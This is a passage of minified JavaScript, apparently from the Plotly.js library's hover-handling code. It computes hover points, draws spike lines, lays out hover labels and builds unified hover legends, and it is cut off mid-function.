pt=oe.getBoundingClientRect();Qe=ie.clientX-pt.left,et=ie.clientY-pt.top,le._calcInverseTransform(Q);var St=L.apply3DTransform(le._invTransform)(Qe,et);if(Qe=St[0],et=St[1],Qe<0||Qe>be[0]._length||et<0||et>ge[0]._length)return l.unhoverRaw(Q,ie)}if(ie.pointerX=Qe+be[0]._offset,ie.pointerY=et+ge[0]._offset,"xval"in ie?st=y.flat(re,ie.xval):st=y.p2c(be,Qe),"yval"in ie?lt=y.flat(re,ie.yval):lt=y.p2c(ge,et),!P(st[0])||!P(lt[0]))return L.warn("Fx.hover failed",ie,Q),l.unhoverRaw(Q,ie)}var _t=1/0;function Ft(nr,Sr){for(yt=0;yt<Ke.length;yt++)if(bt=Ke[yt],!(!bt||!bt[0]||!bt[0].trace)&&(Ot=bt[0].trace,!(Ot.visible!==!0||Ot._length===0)&&["carpet","contourcarpet"].indexOf(Ot._module.name)===-1)){if(Ot.type==="splom"?(Le=0,Ge=re[Le]):(Ge=y.getSubplot(Ot),Le=re.indexOf(Ge)),Pe=Be,y.isUnifiedHover(Pe)&&(Pe=Pe.charAt(0)),ye={cd:bt,trace:Ot,xa:be[Le],ya:ge[Le],maxHoverDistance:$e,maxSpikeDistance:Xe,index:!1,distance:Math.min(_t,$e),spikeDistance:1/0,xSpike:void 0,ySpike:void 0,color:a.defaultLine,name:Ot.name,x0:void 0,x1:void 0,y0:void 0,y1:void 0,xLabelVal:void 0,yLabelVal:void 0,zLabelVal:void 0,text:void 0},le[Ge]&&(ye.subplot=le[Ge]._subplot),le._splomScenes&&le._splomScenes[Ot.uid]&&(ye.scene=le._splomScenes[Ot.uid]),ae=Ze.length,Pe==="array"){var Dr=ie[yt];"pointNumber"in Dr?(ye.index=Dr.pointNumber,Pe="closest"):(Pe="","xval"in Dr&&(De=Dr.xval,Pe="x"),"yval"in Dr&&(Ee=Dr.yval,Pe=Pe?"closest":"y"))}else nr!==void 0&&Sr!==void 0?(De=nr,Ee=Sr):(De=st[Le],Ee=lt[Le]);if($e!==0)if(Ot._module&&Ot._module.hoverPoints){var Ir=Ot._module.hoverPoints(ye,De,Ee,Pe,{finiteRange:!0,hoverLayer:le._hoverlayer});if(Ir)for(var Xr,an=0;an<Ir.length;an++)Xr=Ir[an],P(Xr.x0)&&P(Xr.y0)&&Ze.push(N(Xr,Be))}else L.log("Unrecognized trace type in hover:",Ot);if(Be==="closest"&&Ze.length>ae&&(Ze.splice(0,ae),_t=Ze[0].distance),xe&&Xe!==0&&Ze.length===0){ye.distance=Xe,ye.index=!1;var tn=Ot._module.hoverPoints(ye,De,Ee,"closest",{hoverLayer:le._hoverlayer});if(tn&&(tn=tn.filter(function(Wn){return Wn.spikeDistance<=Xe})),tn&&tn.length){var gn,En=tn.filter(function(Wn){return Wn.xa.showspikes&&Wn.xa.spikesnap!=="hovered data"});if(En.length){var Hn=En[0];P(Hn.x0)&&P(Hn.y0)&&(gn=Gt(Hn),(!de.vLinePoint||de.vLinePoint.spikeDistance>gn.spikeDistance)&&(de.vLinePoint=gn))}var Xn=tn.filter(function(Wn){return Wn.ya.showspikes&&Wn.ya.spikesnap!=="hovered data"});if(Xn.length){var qn=Xn[0];P(qn.x0)&&P(qn.y0)&&(gn=Gt(qn),(!de.hLinePoint||de.hLinePoint.spikeDistance>gn.spikeDistance)&&(de.hLinePoint=gn))}}}}}Ft();function Tt(nr,Sr,Dr){for(var Ir=null,Xr=1/0,an,tn=0;tn<nr.length;tn++)an=nr[tn].spikeDistance,Dr&&tn===0&&(an=-1/0),an<=Xr&&an<=Sr&&(Ir=nr[tn],Xr=an);return Ir}function Gt(nr){return nr?{xa:nr.xa,ya:nr.ya,x:nr.xSpike!==void 0?nr.xSpike:(nr.x0+nr.x1)/2,y:nr.ySpike!==void 0?nr.ySpike:(nr.y0+nr.y1)/2,distance:nr.distance,spikeDistance:nr.spikeDistance,curveNumber:nr.trace.index,color:nr.color,pointNumber:nr.index}:null}var er={fullLayout:le,container:le._hoverlayer,event:ie};Q._spikepoints;var Pr={vLinePoint:de.vLinePoint,hLinePoint:de.hLinePoint};Q._spikepoints=Pr;var ct=function(){Ze.sort(function(nr,Sr){return nr.distance-Sr.distance}),Ze=fe(Ze,Be)};ct();var Vt=Be.charAt(0),Ut=(Vt==="x"||Vt==="y")&&Ze[0]&&n[Ze[0].trace.type];if(xe&&Xe!==0&&Ze.length!==0){var dr=Ze.filter(function(nr){return nr.ya.showspikes}),sr=Tt(dr,Xe,Ut);de.hLinePoint=Gt(sr);var nt=Ze.filter(function(nr){return nr.xa.showspikes}),rt=Tt(nt,Xe,Ut);de.vLinePoint=Gt(rt)}if(Ze.length===0){var vt=l.unhoverRaw(Q,ie);return xe&&(de.hLinePoint!==null||de.vLinePoint!==null)&&q()&&G(Q,de,er),vt}if(xe&&q()&&G(Q,de,er),y.isXYhover(Pe)&&Ze[0].length!==0&&Ze[0].trace.type!=="splom"){var gt=Ze[0];m[gt.trace.type]?Ze=Ze.filter(function(nr){return nr.trace.index===gt.trace.index}):Ze=[gt];var wt=Ze.length,mt=X("x",gt,le),Pt=X("y",gt,le);Ft(mt,Pt);var zt=[],Xt={},Yt=0,$t=function(nr){var Sr=m[nr.trace.type]?x(nr):nr.trace.index;if(!Xt[Sr])Yt++,Xt[Sr]=Yt,zt.push(nr);else{var Dr=Xt[Sr]-1,Ir=zt[Dr];Dr>0&&Math.abs(nr.distance)<Math.abs(Ir.distance)&&(zt[Dr]=nr)}},yr;for(yr=0;yr<wt;yr++)$t(Ze[yr]);for(yr=Ze.length-1;yr>wt-1;yr--)$t(Ze[yr]);Ze=zt,ct()}var Ue=Q._hoverdata,Ne=[],Et=W(Q),Lt=V(Q);for(ut=0;ut<Ze.length;ut++){var Nt=Ze[ut],rr=y.makeEventData(Nt,Nt.trace,Nt.cd);if(Nt.hovertemplate!==!1){var tr=!1;Nt.cd[Nt.index]&&Nt.cd[Nt.index].ht&&(tr=Nt.cd[Nt.index].ht),Nt.hovertemplate=tr||Nt.trace.hovertemplate||!1}if(Nt.xa&&Nt.ya){var Jt=Nt.x0+Nt.xa._offset,It=Nt.x1+Nt.xa._offset,or=Nt.y0+Nt.ya._offset,ur=Nt.y1+Nt.ya._offset,fr=Math.min(Jt,It),lr=Math.max(Jt,It),Nr=Math.min(or,ur),Rr=Math.max(or,ur);rr.bbox={x0:fr+Lt,x1:lr+Lt,y0:Nr+Et,y1:Rr+Et}}Nt.eventData=[rr],Ne.push(rr)}Q._hoverdata=Ne;var Cr=Be==="y"&&(Ke.length>1||Ze.length>1)||Be==="closest"&&Me&&Ze.length>1,vn=a.combine(le.plot_bgcolor||a.background,le.paper_bgcolor),Ur=k(Ze,{gd:Q,hovermode:Be,rotateLabels:Cr,bgColor:vn,container:le._hoverlayer,outerContainer:le._paper.node(),commonLabelOpts:le.hoverlabel,hoverdistance:le.hoverdistance}),Mn=Ur.hoverLabels;if(y.isUnifiedHover(Be)||(_(Mn,Cr,le,Ur.commonLabelBoundingBox),z(Mn,Cr,le._invScaleX,le._invScaleY)),oe&&oe.tagName){var Sn=s.getComponentMethod("annotations","hasClickToShow")(Q,Ne);r(M.select(oe),Sn?"pointer":"")}!oe||K||!J(Q,ie,Ue)||(Ue&&Q.emit("plotly_unhover",{event:ie,points:Ue}),Q.emit("plotly_hover",{event:ie,points:Q._hoverdata,xaxes:be,yaxes:ge,xvals:st,yvals:lt}))}function x(Q){return[Q.trace.index,Q.index,Q.x0,Q.y0,Q.name,Q.attr,Q.xa?Q.xa._id:"",Q.ya?Q.ya._id:""].join(",")}var I=/<extra>([\s\S]*)<\/extra>/;function k(Q,ie){var j=ie.gd,K=j._fullLayout,oe=ie.hovermode,re=ie.rotateLabels,le=ie.bgColor,pe=ie.container,we=ie.outerContainer,xe=ie.commonLabelOpts||{};if(Q.length===0)return[[]];var ke=ie.fontFamily||c.HOVERFONT,_e=ie.fontSize||c.HOVERFONTSIZE,be=Q[0],ge=be.xa,Te=be.ya,Fe=oe.charAt(0),Oe=Fe+"Label",Ce=be[Oe];if(Ce===void 0&&ge.type==="multicategory")for(var Be=0;Be<Q.length&&(Ce=Q[Be][Oe],Ce===void 0);Be++);var $e=Y(j,we),Xe=$e.top,Ze=$e.width,Ke=$e.height,st=Ce!==void 0&&be.distance<=ie.hoverdistance&&(oe==="x"||oe==="y");if(st){var lt=!0,ut,yt;for(ut=0;ut<Q.length;ut++)if(lt&&Q[ut].zLabel===void 0&&(lt=!1),yt=Q[ut].hoverinfo||Q[ut].trace.hoverinfo,yt){var bt=Array.isArray(yt)?yt:yt.split("+");if(bt.indexOf("all")===-1&&bt.indexOf(oe)===-1){st=!1;break}}lt&&(st=!1)}var Ot=pe.selectAll("g.axistext").data(st?[0]:[]);Ot.enter().append("g").classed("axistext",!0),Ot.exit().remove();var Ge={minX:0,maxX:0,minY:0,maxY:0};if(Ot.each(function(){var mt=M.select(this),Pt=L.ensureSingle(mt,"path","",function(Rr){Rr.style({"stroke-width":"1px"})}),zt=L.ensureSingle(mt,"text","",function(Rr){Rr.attr("data-notex",1)}),Xt=xe.bgcolor||a.defaultLine,Yt=xe.bordercolor||a.contrast(Xt),$t=a.contrast(Xt),yr={family:xe.font.family||ke,size:xe.font.size||_e,color:xe.font.color||$t};Pt.style({fill:Xt,stroke:Yt}),zt.text(Ce).call(f.font,yr).call(t.positionText,0,0).call(t.convertToTspans,j),mt.attr("transform","");var Ue=Y(j,zt.node()),Ne,Et;if(oe==="x"){var Lt=ge.side==="top"?"-":"";zt.attr("text-anchor","middle").call(t.positionText,0,ge.side==="top"?Xe-Ue.bottom-p-A:Xe-Ue.top+p+A),Ne=ge._offset+(be.x0+be.x1)/2,Et=Te._offset+(ge.side==="top"?0:Te._length);var Nt=Ue.width/2+A;Ne<Nt?(Ne=Nt,Pt.attr("d","M-"+(Nt-p)+",0L-"+(Nt-p*2)+","+Lt+p+"H"+Nt+"v"+Lt+(A*2+Ue.height)+"H-"+Nt+"V"+Lt+p+"Z")):Ne>K.width-Nt?(Ne=K.width-Nt,Pt.attr("d","M"+(Nt-p)+",0L"+Nt+","+Lt+p+"v"+Lt+(A*2+Ue.height)+"H-"+Nt+"V"+Lt+p+"H"+(Nt-p*2)+"Z")):Pt.attr("d","M0,0L"+p+","+Lt+p+"H"+Nt+"v"+Lt+(A*2+Ue.height)+"H-"+Nt+"V"+Lt+p+"H-"+p+"Z"),Ge.minX=Ne-Nt,Ge.maxX=Ne+Nt,ge.side==="top"?(Ge.minY=Et-(A*2+Ue.height),Ge.maxY=Et-A):(Ge.minY=Et+A,Ge.maxY=Et+(A*2+Ue.height))}else{var rr,tr,Jt;Te.side==="right"?(rr="start",tr=1,Jt="",Ne=ge._offset+ge._length):(rr="end",tr=-1,Jt="-",Ne=ge._offset),Et=Te._offset+(be.y0+be.y1)/2,zt.attr("text-anchor",rr),Pt.attr("d","M0,0L"+Jt+p+","+p+"V"+(A+Ue.height/2)+"h"+Jt+(A*2+Ue.width)+"V-"+(A+Ue.height/2)+"H"+Jt+p+"V-"+p+"Z"),Ge.minY=Et-(A+Ue.height/2),Ge.maxY=Et+(A+Ue.height/2),Te.side==="right"?(Ge.minX=Ne+p,Ge.maxX=Ne+p+(A*2+Ue.width)):(Ge.minX=Ne-p-(A*2+Ue.width),Ge.maxX=Ne-p);var It=Ue.height/2,or=Xe-Ue.top-It,ur="clip"+K._uid+"commonlabel"+Te._id,fr;if(Ne<Ue.width+2*A+p){fr="M-"+(p+A)+"-"+It+"h-"+(Ue.width-A)+"V"+It+"h"+(Ue.width-A)+"Z";var lr=Ue.width-Ne+A;t.positionText(zt,lr,or),rr==="end"&&zt.selectAll("tspan").each(function(){var Rr=M.select(this),Cr=f.tester.append("text").text(Rr.text()).call(f.font,yr),vn=Y(j,Cr.node());Math.round(vn.width)<Math.round(Ue.width)&&Rr.attr("x",lr-vn.width),Cr.remove()})}else t.positionText(zt,tr*(A+p),or),fr=null;var Nr=K._topclips.selectAll("#"+ur).data(fr?[0]:[]);Nr.enter().append("clipPath").attr("id",ur).append("path"),Nr.exit().remove(),Nr.select("path").attr("d",fr),f.setClipUrl(zt,fr?ur:null,j)}mt.attr("transform",S(Ne,Et))}),y.isUnifiedHover(oe)){pe.selectAll("g.hovertext").remove();var Le=Q.filter(function(mt){return mt.hoverinfo!=="none"});if(Le.length===0)return[];var Pe=K.hoverlabel,De=Pe.font,Ee={showlegend:!0,legend:{title:{text:Ce,font:De},font:De,bgcolor:Pe.bgcolor,bordercolor:Pe.bordercolor,borderwidth:1,tracegroupgap:7,traceorder:K.legend?K.legend.traceorder:void 0,orientation:"v"}},ye={font:De};b(Ee,ye,j._fullData);var ae=ye.legend;ae.entries=[];for(var de=0;de<Le.length;de++){var Me=Le[de];if(Me.hoverinfo!=="none"){var Ie=B(Me,!0,oe,K,Ce),Qe=Ie[0],et=Ie[1];Me.name=et,et!==""?Me.text=et+" : "+Qe:Me.text=Qe;var pt=Me.cd[Me.index];pt&&(pt.mc&&(Me.mc=pt.mc),pt.mcc&&(Me.mc=pt.mcc),pt.mlc&&(Me.mlc=pt.mlc),pt.mlcc&&(Me.mlc=pt.mlcc),pt.mlw&&(Me.mlw=pt.mlw),pt.mrc&&(Me.mrc=pt.mrc),pt.dir&&(Me.dir=pt.dir)),Me._distinct=!0,ae.entries.push([Me])}}ae.entries.sort(function(mt,Pt){return mt[0].trace.index-Pt[0].trace.index}),ae.layer=pe,ae._inHover=!0,ae._groupTitleFont=Pe.grouptitlefont,h(j,ae);var St=pe.select("g.legend"),_t=Y(j,St.node()),Ft=_t.width+2*A,Tt=_t.height+2*A,Gt=Le[0],er=(Gt.x0+Gt.x1)/2,Pr=(Gt.y0+Gt.y1)/2,ct=!(s.traceIs(Gt.trace,"bar-like")||s.traceIs(Gt.trace,"box-violin")),Vt,Ut;Fe==="y"?ct?(Ut=Pr-A,Vt=Pr+A):(Ut=Math.min.apply(null,Le.map(function(mt){return Math.min(mt.y0,mt.y1)})),Vt=Math.max.apply(null,Le.map(function(mt){return Math.max(mt.y0,mt.y1)}))):Ut=Vt=L.mean(Le.map(function(mt){return(mt.y0+mt.y1)/2}))-Tt/2;var dr,sr;Fe==="x"?ct?(dr=er+A,sr=er-A):(dr=Math.max.apply(null,Le.map(function(mt){return Math.max(mt.x0,mt.x1)})),sr=Math.min.apply(null,Le.map(function(mt){return Math.min(mt.x0,mt.x1)}))):dr=sr=L.mean(Le.map(function(mt){return(mt.x0+mt.x1)/2}))-Ft/2;var nt=ge._offset,rt=Te._offset;Vt+=rt,dr+=nt,sr+=nt-Ft,Ut+=rt-Tt;var vt,gt;return dr+Ft<Ze&&dr>=0?vt=dr:sr+Ft<Ze&&sr>=0?vt=sr:nt+Ft<Ze?vt=nt:dr-er<er-sr+Ft?vt=Ze-Ft:vt=0,vt+=A,Vt+Tt<Ke&&Vt>=0?gt=Vt:Ut+Tt<Ke&&Ut>=0?gt=Ut:rt+Tt<Ke?gt=rt:Vt-Pr<Pr-Ut+Tt?gt=Ke-Tt:gt=0,gt+=A,St.attr("transform",S(vt-1,gt-1)),St}var wt=pe.selectAll("g.hovertext").data(Q,function(mt){return x(mt)});return wt.enter().append("g").classed("hovertext",!0).each(function(){var mt=M.select(this);mt.append("rect").call(a.fill,a.addOpacity(le,.8)),mt.append("text").classed("name",!0),mt.append("path").style("stroke-width","1px"),mt.append("text").classed("nums",!0).call(f.font,ke,_e)}),wt.exit().remove(),wt.each(function(mt){var Pt=M.select(this).attr("transform",""),zt=mt.color;Array.isArray(zt)&&(zt=zt[mt.eventData[0].pointNumber]);var Xt=mt.bgcolor||zt,Yt=a.combine(a.opacity(Xt)?Xt:a.defaultLine,le),$t=a.combine(a.opacity(zt)?zt:a.defaultLine,le),yr=mt.borderColor||a.contrast(Yt),Ue=B(mt,st,oe,K,Ce,Pt),Ne=Ue[0],Et=Ue[1],Lt=Pt.select("text.nums").call(f.font,mt.fontFamily||ke,mt.fontSize||_e,mt.fontColor||yr).text(Ne).attr("data-notex",1).call(t.positionText,0,0).call(t.convertToTspans,j),Nt=Pt.select("text.name"),rr=0,tr=0;if(Et&&Et!==Ne){Nt.call(f.font,mt.fontFamily||ke,mt.fontSize||_e,$t).text(Et).attr("data-notex",1).call(t.positionText,0,0).call(t.convertToTspans,j);var Jt=Y(j,Nt.node());rr=Jt.width+2*A,tr=Jt.height+2*A}else Nt.remove(),Pt.select("rect").remove();Pt.select("path").style({fill:Yt,stroke:yr});var It=mt.xa._offset+(mt.x0+mt.x1)/2,or=mt.ya._offset+(mt.y0+mt.y1)/2,ur=Math.abs(mt.x1-mt.x0),fr=Math.abs(mt.y1-mt.y0),lr=Y(j,Lt.node()),Nr=lr.width/K._invScaleX,Rr=lr.height/K._invScaleY;mt.ty0=(Xe-lr.top)/K._invScaleY,mt.bx=Nr+2*A,mt.by=Math.max(Rr+2*A,tr),mt.anchor="start",mt.txwidth=Nr,mt.tx2width=rr,mt.offset=0;var Cr=(Nr+p+A+rr)*K._invScaleX,vn,Ur;if(re)mt.pos=It,vn=or+fr/2+Cr<=Ke,Ur=or-fr/2-Cr>=0,(mt.idealAlign==="top"||!vn)&&Ur?(or-=fr/2,mt.anchor="end"):vn?(or+=fr/2,mt.anchor="start"):mt.anchor="middle",mt.crossPos=or;else{if(mt.pos=or,vn=It+ur/2+Cr<=Ze,Ur=It-ur/2-Cr>=0,(mt.idealAlign==="left"||!vn)&&Ur)It-=ur/2,mt.anchor="end";else if(vn)It+=ur/2,mt.anchor="start";else{mt.anchor="middle";var Mn=Cr/2,Sn=It+Mn-Ze,nr=It-Mn;Sn>0&&(It-=Sn),nr<0&&(It+=-nr)}mt.crossPos=It}Lt.attr("text-anchor",mt.anchor),rr&&Nt.attr("text-anchor",mt.anchor),Pt.attr("transform",S(It,or)+(re?d(i):""))}),{hoverLabels:wt,commonLabelBoundingBox:Ge}}function B(Q,ie,j,K,oe,re){var le="",pe="";Q.nameOverride!==void 0&&(Q.name=Q.nameOverride),Q.name&&(Q.trace._meta&&(Q.name=L.templateString(Q.name,Q.trace._meta)),le=ne(Q.name,Q.nameLength));var we=j.charAt(0),xe=we==="x"?"y":"x";Q.zLabel!==void 0?(Q.xLabel!==void 0&&(pe+="x: "+Q.xLabel+"<br>"),Q.yLabel!==void 0&&(pe+="y: "+Q.yLabel+"<br>"),Q.trace.type!=="choropleth"&&Q.trace.type!=="choroplethmapbox"&&(pe+=(pe?"z: ":"")+Q.zLabel)):ie&&Q[we+"Label"]===oe?pe=Q[xe+"Label"]||"":Q.xLabel===void 0?Q.yLabel!==void 0&&Q.trace.type!=="scattercarpet"&&(pe=Q.yLabel):Q.yLabel===void 0?pe=Q.xLabel:pe="("+Q.xLabel+", "+Q.yLabel+")",(Q.text||Q.text===0)&&!Array.isArray(Q.text)&&(pe+=(pe?"<br>":"")+Q.text),Q.extraText!==void 0&&(pe+=(pe?"<br>":"")+Q.extraText),re&&pe===""&&!Q.hovertemplate&&(le===""&&re.remove(),pe=le);var ke=Q.hovertemplate||!1;if(ke){var _e=Q.hovertemplateLabels||Q;Q[we+"Label"]!==oe&&(_e[we+"other"]=_e[we+"Val"],_e[we+"otherLabel"]=_e[we+"Label"]),pe=L.hovertemplateString(ke,_e,K._d3locale,Q.eventData[0]||{},Q.trace._meta),pe=pe.replace(I,function(be,ge){return le=ne(ge,Q.nameLength),""})}return[pe,le]}function _(Q,ie,j,K){var oe=ie?"xa":"ya",re=ie?"ya":"xa",le=0,pe=1,we=Q.size(),xe=new Array(we),ke=0,_e=K.minX,be=K.maxX,ge=K.minY,Te=K.maxY,Fe=function(De){return De*j._invScaleX},Oe=function(De){return De*j._invScaleY};Q.each(function(De){var Ee=De[oe],ye=De[re],ae=Ee._id.charAt(0)==="x",de=Ee.range;ke===0&&de&&de[0]>de[1]!==ae&&(pe=-1);var Me=0,Ie=ae?j.width:j.height;if(j.hovermode==="x"||j.hovermode==="y"){var Qe=F(De,ie),et=De.anchor,pt=et==="end"?-1:1,St,_t;if(et==="middle")St=De.crossPos+(ae?Oe(Qe.y-De.by/2):Fe(De.bx/2+De.tx2width/2)),_t=St+(ae?Oe(De.by):Fe(De.bx));else if(ae)St=De.crossPos+Oe(p+Qe.y)-Oe(De.by/2-p),_t=St+Oe(De.by);else{var Ft=Fe(pt*p+Qe.x),Tt=Ft+Fe(pt*De.bx);St=De.crossPos+Math.min(Ft,Tt),_t=De.crossPos+Math.max(Ft,Tt)}ae?ge!==void 0&&Te!==void 0&&Math.min(_t,Te)-Math.max(St,ge)>1&&(ye.side==="left"?(Me=ye._mainLinePosition,Ie=j.width):Ie=ye._mainLinePosition):_e!==void 0&&be!==void 0&&Math.min(_t,be)-Math.max(St,_e)>1&&(ye.side==="top"?(Me=ye._mainLinePosition,Ie=j.height):Ie=ye._mainLinePosition)}xe[ke++]=[{datum:De,traceIndex:De.trace.index,dp:0,pos:De.pos,posref:De.posref,size:De.by*(ae?T:1)/2,pmin:Me,pmax:Ie}]}),xe.sort(function(De,Ee){return De[0].posref-Ee[0].posref||pe*(Ee[0].traceIndex-De[0].traceIndex)});var Ce,Be,$e,Xe,Ze,Ke,st;function lt(De){var Ee=De[0],ye=De[De.length-1];if(Be=Ee.pmin-Ee.pos-Ee.dp+Ee.size,$e=ye.pos+ye.dp+ye.size-Ee.pmax,Be>.01){for(Ze=De.length-1;Ze>=0;Ze--)De[Ze].dp+=Be;Ce=!1}if(!($e<.01)){if(Be<-.01){for(Ze=De.length-1;Ze>=0;Ze--)De[Ze].dp-=$e;Ce=!1}if(Ce){var ae=0;for(Xe=0;Xe<De.length;Xe++)Ke=De[Xe],Ke.pos+Ke.dp+Ke.size>Ee.pmax&&ae++;for(Xe=De.length-1;Xe>=0&&!(ae<=0);Xe--)Ke=De[Xe],Ke.pos>Ee.pmax-1&&(Ke.del=!0,ae--);for(Xe=0;Xe<De.length&&!(ae<=0);Xe++)if(Ke=De[Xe],Ke.pos<Ee.pmin+1)for(Ke.del=!0,ae--,$e=Ke.size*2,Ze=De.length-1;Ze>=0;Ze--)De[Ze].dp-=$e;for(Xe=De.length-1;Xe>=0&&!(ae<=0);Xe--)Ke=De[Xe],Ke.pos+Ke.dp+Ke.size>Ee.pmax&&(Ke.del=!0,ae--)}}}for(;!Ce&&le<=we;){for(le++,Ce=!0,Xe=0;Xe<xe.length-1;){var ut=xe[Xe],yt=xe[Xe+1],bt=ut[ut.length-1],Ot=yt[0];if(Be=bt.pos+bt.dp+bt.size-Ot.pos-Ot.dp+Ot.size,Be>.01&&bt.pmin===Ot.pmin&&bt.pmax===Ot.pmax){for(Ze=yt.length-1;Ze>=0;Ze--)yt[Ze].dp+=Be;for(ut.push.apply(ut,yt),xe.splice(Xe+1,1),st=0,Ze=ut.length-1;Ze>=0;Ze--)st+=ut[Ze].dp;for($e=st/ut.length,Ze=ut.length-1;Ze>=0;Ze--)ut[Ze].dp-=$e;Ce=!1}else Xe++}xe.forEach(lt)}for(Xe=xe.length-1;Xe>=0;Xe--){var Ge=xe[Xe];for(Ze=Ge.length-1;Ze>=0;Ze--){var Le=Ge[Ze],Pe=Le.datum;Pe.offset=Le.dp,Pe.del=Le.del}}}function F(Q,ie){var j=0,K=Q.offset;return ie&&(K*=-E,j=Q.offset*w),{x:j,y:K}}function O(Q){var ie={start:1,end:-1,middle:0}[Q.anchor],j=ie*(p+A),K=j+ie*(Q.txwidth+A),oe=Q.anchor==="middle";return oe&&(j-=Q.tx2width/2,K+=Q.txwidth/2+A),{alignShift:ie,textShiftX:j,text2ShiftX:K}}function z(Q,ie,j,K){var oe=function(le){return le*j},re=function(le){return le*K};Q.each(function(le){var pe=M.select(this);if(le.del)return pe.remove();var we=pe.select("text.nums"),xe=le.anchor,ke=xe==="end"?-1:1,_e=O(le),be=F(le,ie),ge=be.x,Te=be.y,Fe=xe==="middle";pe.select("path").attr("d",Fe?"M-"+oe(le.bx/2+le.tx2width/2)+","+re(Te-le.by/2)+"h"+oe(le.bx)+"v"+re(le.by)+"h-"+oe(le.bx)+"Z":"M0,0L"+oe(ke*p+ge)+","+re(p+Te)+"v"+re(le.by/2-p)+"h"+oe(ke*le.bx)+"v-"+re(le.by)+"H"+oe(ke*p+ge)+"V"+re(Te-p)+"Z");var Oe=ge+_e.textShiftX,Ce=Te+le.ty0-le.by/2+A,Be=le.textAlign||"auto";Be!=="auto"&&(Be==="left"&&xe!=="start"?(we.attr("text-anchor","start"),Oe=Fe?-le.bx/2-le.tx2width/2+A:-le.bx-A):Be==="right"&&xe!=="end"&&(we.attr("text-anchor","end"),Oe=Fe?le.bx/2-le.tx2width/2-A:le.bx+A)),we.call(t.positionText,oe(Oe),re(Ce)),le.tx2width&&(pe.select("text.name").call(t.positionText,oe(_e.text2ShiftX+_e.alignShift*A+ge),re(Te+le.ty0-le.by/2+A)),pe.select("rect").call(f.setRect,oe(_e.text2ShiftX+(_e.alignShift-1)*le.tx2width/2+ge),re(Te-le.by/2-1),oe(le.tx2width),re(le.by+2)))})}function N(Q,ie){var j=Q.index,K=Q.trace||{},oe=Q.cd[0],re=Q.cd[j]||{};function le(be){return be||P(be)&&be===0}var pe=Array.isArray(j)?function(be,ge){var Te=L.castOption(oe,j,be);return le(Te)?Te:L.extractOption({},K,"",ge)}:function(be,ge){return L.extractOption(re,K,be,ge)};function we(be,ge,Te){var Fe=pe(ge,Te);le(Fe)&&(Q[be]=Fe)}if(we("hoverinfo","hi","hoverinfo"),we("bgcolor","hbg","hoverlabel.bgcolor"),we("borderColor","hbc","hoverlabel.bordercolor"),we("fontFamily","htf","hoverlabel.font.family"),we("fontSize","hts","hoverlabel.font.size"),we("fontColor","htc","hoverlabel.font.color"),we("nameLength","hnl","hoverlabel.namelength"),we("textAlign","hta","hoverlabel.align"),Q.posref=ie==="y"||ie==="closest"&&K.orientation==="h"?Q.xa._offset+(Q.x0+Q.x1)/2:Q.ya._offset+(Q.y0+Q.y1)/2,Q.x0=L.constrain(Q.x0,0,Q.xa._length),Q.x1=L.constrain(Q.x1,0,Q.xa._length),Q.y0=L.constrain(Q.y0,0,Q.ya._length),Q.y1=L.constrain(Q.y1,0,Q.ya._length),Q.xLabelVal!==void 0&&(Q.xLabel="xLabel"in Q?Q.xLabel:u.hoverLabelText(Q.xa,Q.xLabelVal,K.xhoverformat),Q.xVal=Q.xa.c2d(Q.xLabelVal)),Q.yLabelVal!==void 0&&(Q.yLabel="yLabel"in Q?Q.yLabel:u.hoverLabelText(Q.ya,Q.yLabelVal,K.yhoverformat),Q.yVal=Q.ya.c2d(Q.yLabelVal)),Q.zLabelVal!==void 0&&Q.zLabel===void 0&&(Q.zLabel=String(Q.zLabelVal)),!isNaN(Q.xerr)&&!(Q.xa.type==="log"&&Q.xerr<=0)){var xe=u.tickText(Q.xa,Q.xa.c2l(Q.xerr),"hover").text;Q.xerrneg!==void 0?Q.xLabel+=" +"+xe+" / -"+u.tickText(Q.xa,Q.xa.c2l(Q.xerrneg),"hover").text:Q.xLabel+=" ± "+xe,ie==="x"&&(Q.distance+=1)}if(!isNaN(Q.yerr)&&!(Q.ya.type==="log"&&Q.yerr<=0)){var ke=u.tickText(Q.ya,Q.ya.c2l(Q.yerr),"hover").text;Q.yerrneg!==void 0?Q.yLabel+=" +"+ke+" / -"+u.tickText(Q.ya,Q.ya.c2l(Q.yerrneg),"hover").text:Q.yLabel+=" ± "+ke,ie==="y"&&(Q.distance+=1)}var _e=Q.hoverinfo||Q.trace.hoverinfo;return _e&&_e!=="all"&&(_e=Array.isArray(_e)?_e:_e.split("+"),_e.indexOf("x")===-1&&(Q.xLabel=void 0),_e.indexOf("y")===-1&&(Q.yLabel=void 0),_e.indexOf("z")===-1&&(Q.zLabel=void 0),_e.indexOf("text")===-1&&(Q.text=void 0),_e.indexOf("name")===-1&&(Q.name=void 0)),Q}function G(Q,ie,j){var K=j.container,oe=j.fullLayout,re=oe._size,le=j.event,pe=!!ie.hLinePoint,we=!!ie.vLinePoint,xe,ke;if(K.selectAll(".spikeline").remove(),!!(we||pe)){var _e=a.combine(oe.plot_bgcolor,oe.paper_bgcolor);if(pe){var be=ie.hLinePoint,ge,Te;xe=be&&be.xa,ke=be&&be.ya;var Fe=ke.spikesnap;Fe==="cursor"?(ge=le.pointerX,Te=le.pointerY):(ge=xe._offset+be.x,Te=ke._offset+be.y);var Oe=o.readability(be.color,_e)<1.5?a.contrast(_e):be.color,Ce=ke.spikemode,Be=ke.spikethickness,$e=ke.spikecolor||Oe,Xe=u.getPxPosition(Q,ke),Ze,Ke;if(Ce.indexOf("toaxis")!==-1||Ce.indexOf("across")!==-1){if(Ce.indexOf("toaxis")!==-1&&(Ze=Xe,Ke=ge),Ce.indexOf("across")!==-1){var st=ke._counterDomainMin,lt=ke._counterDomainMax;ke.anchor==="free"&&(st=Math.min(st,ke.position),lt=Math.max(lt,ke.position)),Ze=re.l+st*re.w,Ke=re.l+lt*re.w}K.insert("line",":first-child").attr({x1:Ze,x2:Ke,y1:Te,y2:Te,"stroke-width":Be,stroke:$e,"stroke-dasharray":f.dashStyle(ke.spikedash,Be)}).classed("spikeline",!0).classed("crisp",!0),K.insert("line",":first-child").attr({x1:Ze,x2:Ke,y1:Te,y2:Te,"stroke-width":Be+2,stroke:_e}).classed("spikeline",!0).classed("crisp",!0)}Ce.indexOf("marker")!==-1&&K.insert("circle",":first-child").attr({cx:Xe+(ke.side!=="right"?Be:-Be),cy:Te,r:Be,fill:$e}).classed("spikeline",!0)}if(we){var ut=ie.vLinePoint,yt,bt;xe=ut&&ut.xa,ke=ut&&ut.ya;var 